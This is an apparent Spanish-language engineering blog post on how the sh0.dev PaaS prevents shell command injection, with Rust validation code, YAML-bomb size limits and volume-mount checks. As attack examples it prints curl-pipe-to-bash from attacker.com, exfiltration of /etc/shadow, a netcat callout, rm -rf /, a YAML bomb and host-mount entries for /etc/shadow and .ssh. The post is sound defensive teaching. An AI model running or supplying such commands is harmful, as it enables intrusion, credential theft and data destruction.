Back to sh0
sh0

Prevencion de inyeccion de comandos en un PaaS

Un PaaS ejecuta comandos proporcionados por el usuario por diseno. Asi es como construimos validate_command() para prevenir inyeccion shell en tareas cron, hooks de despliegue y Docker exec -- sin romper los casos de uso legitimos.

Thales & Claude | March 30, 2026 14 min sh0
EN/ FR/ ES
securitycommand-injectionrustpaasvalidationowasp

He aqui la paradoja fundamental de construir una Platform-as-a-Service: el punto central del producto es ejecutar comandos proporcionados por el usuario. Los hooks de despliegue ejecutan npm run build. Las tareas cron ejecutan python cleanup.py. Las sesiones Docker exec pasan comandos shell a contenedores en ejecucion. No puedes simplemente rechazar toda entrada del usuario que parezca un comando -- los comandos son el producto.

Pero un PaaS que ejecuta entrada shell arbitraria esta a un punto y coma de la catastrofe. npm run build; curl attacker.com/shell.sh | bash parece un comando de build con un sufijo creativo. En realidad es ejecucion de codigo arbitrario en tu infraestructura.

Este articulo cubre como construimos la prevencion de inyeccion de comandos para sh0.dev: la funcion validate_command(), las tres superficies de ataque que protege, y las defensas complementarias que hacen el sistema seguro sin hacerlo inutilizable.


Las tres superficies de ataque

sh0 acepta comandos proporcionados por el usuario en tres lugares, cada uno con diferentes niveles de confianza y contextos de ejecucion:

1. Tareas cron

Los usuarios definen tareas programadas con una expresion cron y una cadena de comando. El comando se ejecuta dentro del contenedor de la aplicacion segun el horario definido. Esta es la superficie de mayor riesgo porque las tareas cron se ejecutan sin supervision -- no hay un humano observando la salida, y un comando malicioso podria ejecutarse durante semanas antes de que alguien lo note.

2. Hooks de despliegue

Los hooks pre-despliegue y post-despliegue se ejecutan como parte del pipeline de despliegue. Un hook pre-despliegue podria ejecutar migraciones de base de datos; un hook post-despliegue podria limpiar una cache o enviar una notificacion. Estos comandos se ejecutan en el contenedor de build o aplicacion durante el proceso de despliegue.

3. Docker Exec (terminal web)

La funcionalidad de terminal web permite a los usuarios abrir una sesion shell dentro de un contenedor en ejecucion. Esto es inherentemente una interfaz de ejecucion de comandos arbitrarios -- ese es su proposito. La defensa aqui es diferente: autenticacion y autorizacion en lugar de validacion de comandos. Pero la API Docker exec en si necesita proteccion contra inyeccion de parametros.


Inyeccion de metacaracteres shell

El vector de ataque central es la inyeccion de metacaracteres shell. Cuando una cadena de comando se pasa a sh -c, el shell interpreta caracteres especiales antes de ejecutar el comando. Estos metacaracteres habilitan encadenamiento de comandos, ejecucion de subshell y redireccion de I/O:

CaracterEfecto
;Separador de comandos -- ejecuta el siguiente comando sin importar
`\`Pipe -- alimenta la salida al siguiente comando
&Ejecucion en segundo plano o encadenamiento de comandos (&&)
` ``Sustitucion de comandos -- ejecuta el comando encerrado
$(Sustitucion de comandos (sintaxis moderna)
> / <Redireccion de I/O -- puede sobreescribir archivos
\n / \rInyeccion de nueva linea -- inicia un nuevo comando

Una tarea cron definida como python cleanup.py && curl attacker.com/exfil?data=$(cat /etc/shadow) usa tres metacaracteres: && para encadenamiento, $( para sustitucion de comandos, y el comando resultante exfiltra el archivo shadow de contrasenas.


La funcion validate_command()

Nuestra defensa es una funcion de validacion estricta que rechaza comandos que contienen metacaracteres shell. La funcion se ejecuta en el limite de la API -- antes de que el comando se almacene en la base de datos, antes de que se encole para ejecucion, antes de que toque ningun shell.

rustconst FORBIDDEN_CHARS: &[char] = &[';', '|', '&', '`', '>', '<', '\n', '\r'];
const FORBIDDEN_PATTERNS: &[&str] = &["$(", "${"];
const MAX_COMMAND_LENGTH: usize = 4096;

pub fn validate_command(cmd: &str) -> Result<(), ApiError> {
    // El limite de longitud previene abuso y desbordamiento de buffer en sistemas downstream
    if cmd.is_empty() {
        return Err(ApiError::BadRequest("El comando no puede estar vacio".into()));
    }
    if cmd.len() > MAX_COMMAND_LENGTH {
        return Err(ApiError::BadRequest(
            format!("El comando excede la longitud maxima de {} caracteres", MAX_COMMAND_LENGTH)
        ));
    }

    // Rechazar metacaracteres shell
    for ch in FORBIDDEN_CHARS {
        if cmd.contains(*ch) {
            return Err(ApiError::BadRequest(
                format!("El comando contiene caracter prohibido: '{}'", ch)
            ));
        }
    }

    // Rechazar patrones de expansion shell
    for pattern in FORBIDDEN_PATTERNS {
        if cmd.contains(pattern) {
            return Err(ApiError::BadRequest(
                format!("El comando contiene patron prohibido: '{}'", pattern)
            ));
        }
    }

    Ok(())
}

El limite de 4096 caracteres no es arbitrario. Coincide con el ARG_MAX por defecto en la mayoria de los sistemas Linux para argumentos individuales y previene denegacion de servicio a traves de cadenas de comando extremadamente largas que consumen memoria durante la validacion y el registro de logs.

Lo que esto permite

La validacion es deliberadamente permisiva para casos de uso legitimos:

  • python manage.py migrate -- sin metacaracteres, pasa
  • npm run build -- sin metacaracteres, pasa
  • /usr/bin/backup --output /data/backup.tar.gz -- flags y rutas estan bien
  • node scripts/cleanup.js --days 30 -- argumentos con valores pasan
  • curl -X POST https://api.example.com/webhook -- URLs sin metacaracteres pasan

Lo que esto rechaza

  • npm run build; rm -rf / -- punto y coma rechazado
  • echo "done" | nc attacker.com 4444 -- pipe rechazado
  • python script.py && curl evil.com -- ampersand rechazado
  • ` echo whoami ` -- backtick rechazado
  • python -c "import os; os.system('$(cat /etc/passwd)')" -- $( rechazado
  • node app.js > /dev/null -- redireccion rechazada

La pregunta de los falsos positivos

La objecion mas comun al rechazo de metacaracteres son los falsos positivos. "Y si mi tarea cron legitamente necesita un pipe?" La respuesta: escribe un script. En lugar de cat log.txt | grep ERROR | wc -l, crea un archivo count_errors.sh en tu repositorio y establece el comando cron como bash /app/count_errors.sh. El archivo de script puede contener cualquier sintaxis shell que quiera -- el riesgo de inyeccion existe solo en el limite de la cadena de comando donde la entrada del usuario se encuentra con el shell.

Esto no es una limitacion. Es una buena practica. Los one-liners shell en definiciones de cron son fragiles, dificiles de probar e imposibles de versionar. Llevar la logica compleja a scripts mejora la mantenibilidad independientemente de las consideraciones de seguridad.


Tareas cron: validacion en el momento de la definicion

Los comandos de tareas cron se validan cuando el trabajo se crea o actualiza -- no cuando se ejecuta. Esto es critico. Si la validacion solo ocurriera en el momento de ejecucion, un comando malicioso se almacenaria en la base de datos, seria visible en la UI y potencialmente copiado por otros usuarios antes de que la validacion entre en accion.

rustpub async fn create_cron_job(
    auth: AuthUser,
    Path(app_id): Path<String>,
    Json(payload): Json<CreateCronJob>,
) -> Result<Json<Value>, ApiError> {
    require_app_access(&auth, &app_id, Role::Developer)?;

    // Validar comando ANTES de almacenar
    validate_command(&payload.command)?;

    // Validar expresion cron
    validate_cron_expression(&payload.schedule)?;

    // Aplicar limite por app
    let existing = db::cron_jobs::count_by_app(&app_id).await?;
    if existing >= 50 {
        return Err(ApiError::BadRequest("Maximo 50 tareas cron por app".into()));
    }

    // Seguro para almacenar y programar
    let job = db::cron_jobs::create(&app_id, &payload).await?;
    Ok(Json(to_json(&job)?))
}

El limite por app de 50 tareas cron es una defensa secundaria. Sin el, un atacante podria crear miles de tareas cron para agotar los recursos del programador -- una denegacion de servicio que no requiere inyeccion de comandos.


Hooks de despliegue: validacion antes de la ejecucion

Los hooks de despliegue siguen el mismo patron pero con una restriccion adicional: se ejecutan en el contexto del pipeline de despliegue, que tiene acceso a artefactos de build, variables de entorno y el socket Docker.

rustpub async fn execute_hooks(
    hooks: &[DeployHook],
    container_id: &str,
    phase: HookPhase,
) -> Result<(), DeployError> {
    for hook in hooks.iter().filter(|h| h.phase == phase) {
        // Re-validar aunque fue validado en el momento de creacion
        // Defensa en profundidad: la definicion del hook podria haber sido modificada
        validate_command(&hook.command)?;

        docker::exec(container_id, &["sh", "-c", &hook.command]).await?;
    }
    Ok(())
}

Validamos tanto en el momento de creacion como en el de ejecucion. La verificacion en creacion previene el almacenamiento de comandos maliciosos. La verificacion en ejecucion es defensa en profundidad -- si una migracion de base de datos, un bug o una modificacion directa de la base de datos introduce un comando malicioso, la validacion en ejecucion lo detecta.


Proteccion contra bombas YAML

sh0 soporta archivos de configuracion YAML al estilo Docker Compose para despliegues multi-contenedor. El parsing de YAML introduce su propia clase de ataques de inyeccion:

Las bombas YAML explotan la funcionalidad de ancla/alias de YAML para crear expansion exponencial:

yamla: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]

Cada nivel multiplica por 9. Cuatro niveles producen 6.561 elementos. Ocho niveles producen 43 mil millones. Un archivo YAML de 1 KB puede consumir gigabytes de memoria durante el parsing.

La defensa es simple: rechazar archivos YAML mayores de 256 KB antes del parsing. Los archivos Docker Compose legitimos raramente exceden unos pocos kilobytes. El limite es lo suficientemente generoso para cualquier caso de uso real y previene que la expansion exponencial comience.

rustconst MAX_YAML_SIZE: usize = 256 * 1024; // 256 KB

pub fn parse_compose(yaml_str: &str) -> Result<ComposeConfig, ApiError> {
    if yaml_str.len() > MAX_YAML_SIZE {
        return Err(ApiError::BadRequest(
            format!("El archivo YAML excede el tamano maximo de {} bytes", MAX_YAML_SIZE)
        ));
    }
    serde_yaml::from_str(yaml_str).map_err(|e| ApiError::BadRequest(e.to_string()))
}

Prevencion de traversal de ruta en volumenes

Las configuraciones Docker Compose pueden especificar montajes de volumenes. Una configuracion maliciosa podria intentar montar rutas del host:

yamlservices:
  app:
    volumes:
      - /etc/shadow:/stolen/shadow:ro
      - ../../../root/.ssh:/stolen/ssh:ro

sh0 rechaza cualquier montaje de volumen que especifique una ruta del host. Solo se permiten volumenes con nombre y volumenes anonimos:

rustpub fn validate_volumes(volumes: &[String]) -> Result<(), ApiError> {
    for volume in volumes {
        // Volumenes con nombre: "mydata:/app/data"
        // Volumenes anonimos: "/app/data"
        // Rutas del host: "/host/path:/container/path" o "./relative:/container/path"
        let parts: Vec<&str> = volume.split(':').collect();
        if parts.len() >= 2 {
            let source = parts[0];
            // Rechazar rutas absolutas del host y rutas relativas
            if source.starts_with('/') || source.starts_with('.') || source.contains("..") {
                return Err(ApiError::BadRequest(
                    format!("Los montajes de ruta del host no estan permitidos: {}", volume)
                ));
            }
        }
    }
    Ok(())
}

Este es un limite de seguridad fundamental en cualquier plataforma de orquestacion de contenedores. Los montajes de ruta del host eludan completamente el aislamiento del contenedor. El sistema de archivos del contenedor deberia ser asunto del contenedor; el sistema de archivos del host pertenece a la plataforma.


Valores de seguridad por defecto de contenedores

Mas alla de la validacion de comandos, cada contenedor iniciado por sh0 recibe valores de seguridad por defecto que limitan el radio de explosion de cualquier comando que se ejecute:

  • no-new-privileges: true -- Previene que los procesos dentro del contenedor obtengan privilegios adicionales a traves de binarios setuid o herencia de capacidades. Incluso si un atacante logra ejecucion de codigo, no puede escalar a root.
  • Limite de memoria: 512 MB -- Previene que un proceso desbocado consuma toda la memoria del host.
  • Limite de CPU: 1.0 CPU -- Previene que un ataque computacionalmente intensivo prive de recursos a otros contenedores.

Estos se aplican a todos los contenedores por defecto. Los usuarios pueden ajustar los limites de recursos dentro de limites definidos pero no pueden desactivar no-new-privileges.


El stack de defensa en profundidad

Ninguna defensa individual es suficiente. La prevencion de inyeccion de comandos en sh0 es un stack de medidas complementarias:

CapaDefensaProtege contra
1validate_command()Inyeccion de metacaracteres shell
2Limite de tamano YAML (256 KB)Bombas YAML / agotamiento de memoria
3Rechazo de montaje de volumenesAcceso al sistema de archivos del host
4no-new-privilegesEscalada de privilegios dentro de contenedores
5Limites de recursosDoS via consumo de recursos
6Aplicacion RBACAcceso no autorizado para crear cron/hooks
7Logging de auditoriaForense post-incidente
8Limitacion de tasaCreacion de comandos por fuerza bruta

Un atacante necesitaria eludir multiples capas simultaneamente. Incluso si validate_command() no detectara una tecnica de inyeccion novedosa, el contenedor se ejecuta con privilegios restringidos, recursos limitados, sin acceso al sistema de archivos del host y con logging de auditoria completo.


Equilibrando seguridad con usabilidad

La parte mas dificil de la prevencion de inyeccion de comandos no es la implementacion -- es la experiencia de usuario. Cada comando rechazado es un usuario frustrado. Los mensajes de error deben ser lo suficientemente especificos para que el usuario entienda que cambiar:

400 Bad Request: El comando contiene caracter prohibido: '|'

es accionable. El usuario sabe que debe eliminar el pipe y usar un script en su lugar.

400 Bad Request: Comando invalido

es inutil. El usuario no tiene idea de que esta mal.

Tambien documentamos la restriccion en la UI del dashboard. El formulario de creacion de tareas cron y la pagina de configuracion de hooks de despliegue incluyen una nota explicando que los metacaracteres shell no estan permitidos y sugiriendo la alternativa de archivo de script para comandos complejos.


Lo que consideramos y rechazamos

Escape de shell en lugar de rechazo. Podriamos escapar metacaracteres en lugar de rechazarlos -- convirtiendo ; en \;, | en \|, etc. Rechazamos este enfoque porque el escape es fragil. Diferentes shells manejan el escape de forma diferente. El escape anidado (escapar una cadena ya escapada) es notoriamente propenso a errores. Un caso extremo no contemplado en la logica de escape es una vulnerabilidad de inyeccion de comandos. El rechazo es directo pero confiable.

Ejecucion shell con sandbox. Podriamos ejecutar comandos en un shell restringido (rbash) o usar perfiles seccomp para limitar las llamadas al sistema. Esto anade complejidad y es especifico del shell. Ya ejecutamos comandos dentro de contenedores Docker con no-new-privileges -- el contenedor en si es el sandbox.

Parsing de comandos basado en AST. Podriamos parsear la cadena de comando en un arbol de sintaxis abstracta y rechazar arboles que contengan multiples comandos, redirecciones o subshells. Esto es teoricamente mas preciso pero requiere un parser shell completo. La gramatica shell es compleja, inconsistente entre implementaciones, y un AST parseado da una falsa sensacion de seguridad si el parsing no coincide exactamente con el comportamiento del shell.

La solucion mas simple -- rechazar caracteres conocidos como peligrosos a nivel de cadena -- es la mas robusta. No tiene casos extremos porque no intenta entender la semantica del comando. Solo rechaza caracteres que tienen significado especial para cualquier shell POSIX.


Lecciones aprendidas

  1. Validar en el limite, no en la ejecucion. La validacion de comandos ocurre cuando el usuario crea la tarea cron o el hook de despliegue -- antes de que el comando toque la base de datos. La validacion en ejecucion es defensa en profundidad, no el control primario.
  1. El rechazo supera al escape. Escapar metacaracteres shell es fragil y especifico del shell. Rechazarlos es directo, confiable y facil de razonar.
  1. El patron de archivo de script resuelve el problema de usabilidad. Si los usuarios necesitan logica shell compleja, deberian escribir un archivo de script y establecer el comando para ejecutarlo. Esta es mejor practica de ingenieria independientemente de la seguridad.
  1. La defensa en profundidad no es opcional. Ninguna capa individual es suficiente. Validacion de comandos, aislamiento de contenedores, limites de recursos, restricciones de privilegios, RBAC y logging de auditoria trabajan juntos. Un atacante debe eludir todos.
  1. Los mensajes de error son una funcionalidad de UX de seguridad. Mensajes de error especificos ("caracter prohibido: '|'") convierten un rechazo frustrante en un momento de aprendizaje. Mensajes genericos ("comando invalido") generan tickets de soporte.

Este articulo es parte de la serie "Como construimos sh0.dev". sh0 es un PaaS auto-hospedado construido en Rust por Juste Thales Gnimavo y Claude en 14 dias sin ningun ingeniero humano. Sigue la serie para inmersiones profundas en cada capa de la plataforma.

Share this article:

Responses

Write a response
0/2000
Loading responses...

Related Articles